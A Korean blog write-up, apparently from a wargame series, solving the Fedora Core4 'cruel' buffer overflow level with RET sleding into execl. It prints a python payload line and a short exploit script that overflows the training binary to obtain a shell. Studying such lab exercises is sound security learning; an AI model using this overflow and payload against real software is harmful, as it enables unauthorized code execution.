문제 소스다.


일단 소스코드는 굉장히 간단해 보인다.

힌트에 나온 내용을 보면 fake ebp는 아닌 것 같고, RET Sleding을 하라고 한다.


그럼 힌트대로 RET Sleding을 해보자. 이전 문제들에서 RET Sleding을 해서 자신이 있다.


우선 스택의 값을 확인해 보자.


__gmon_start_는 strcpy 함수인것으로 보인다. 왜 저렇게 나온건지는 구글링 해서 조금 봤는데 무슨 말인지 이해가 안가서 일단은 문제부터 풀었다.


ebp-256이 argv[1]의 위치다.

따라서 256 바이트가 일반 버퍼의 사이즈고 그 뒤부터 sfp, ret다.

이제 RET Sleding을 몇번 줄지와 execl함수의 인자를 줄 적당한 위치를 찾아야 한다.


일단 함수의 ret부분에 BP를 걸고 멈춰서 스택을 살펴보자.

스택을 보면 0x008caff4가 있는 부분이 딱 적당하다.


이유는 아래와 같다.

0x008caff4는 심볼릭 링크로 주기 편한 값을 가지고 있고 바로 4바이트 뒤엔 NULL을 가리키고 있어서 딱 여기다.


그래서 RET Sleding을 7번 주고 바로 다음에 execl함수의 주소를 주면 익스가 성공할 것이다.


payload 

`python -c 'print "A"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`


exploit code

import os
import struct

p = lambda x : struct.pack('<L', x)
execl = "\x68\x2d\x83" #0x00832d68
ret = 0x8048451

payload = "A"*260
payload += p(ret) * 7
payload += execl

os.system('./cruel ' + payload)


쉘 획득

'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core4 enigma -> titan  (0) 2018.03.04
Fedora Core4 cruel -> enigma  (0) 2018.03.01
Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24

+ Recent posts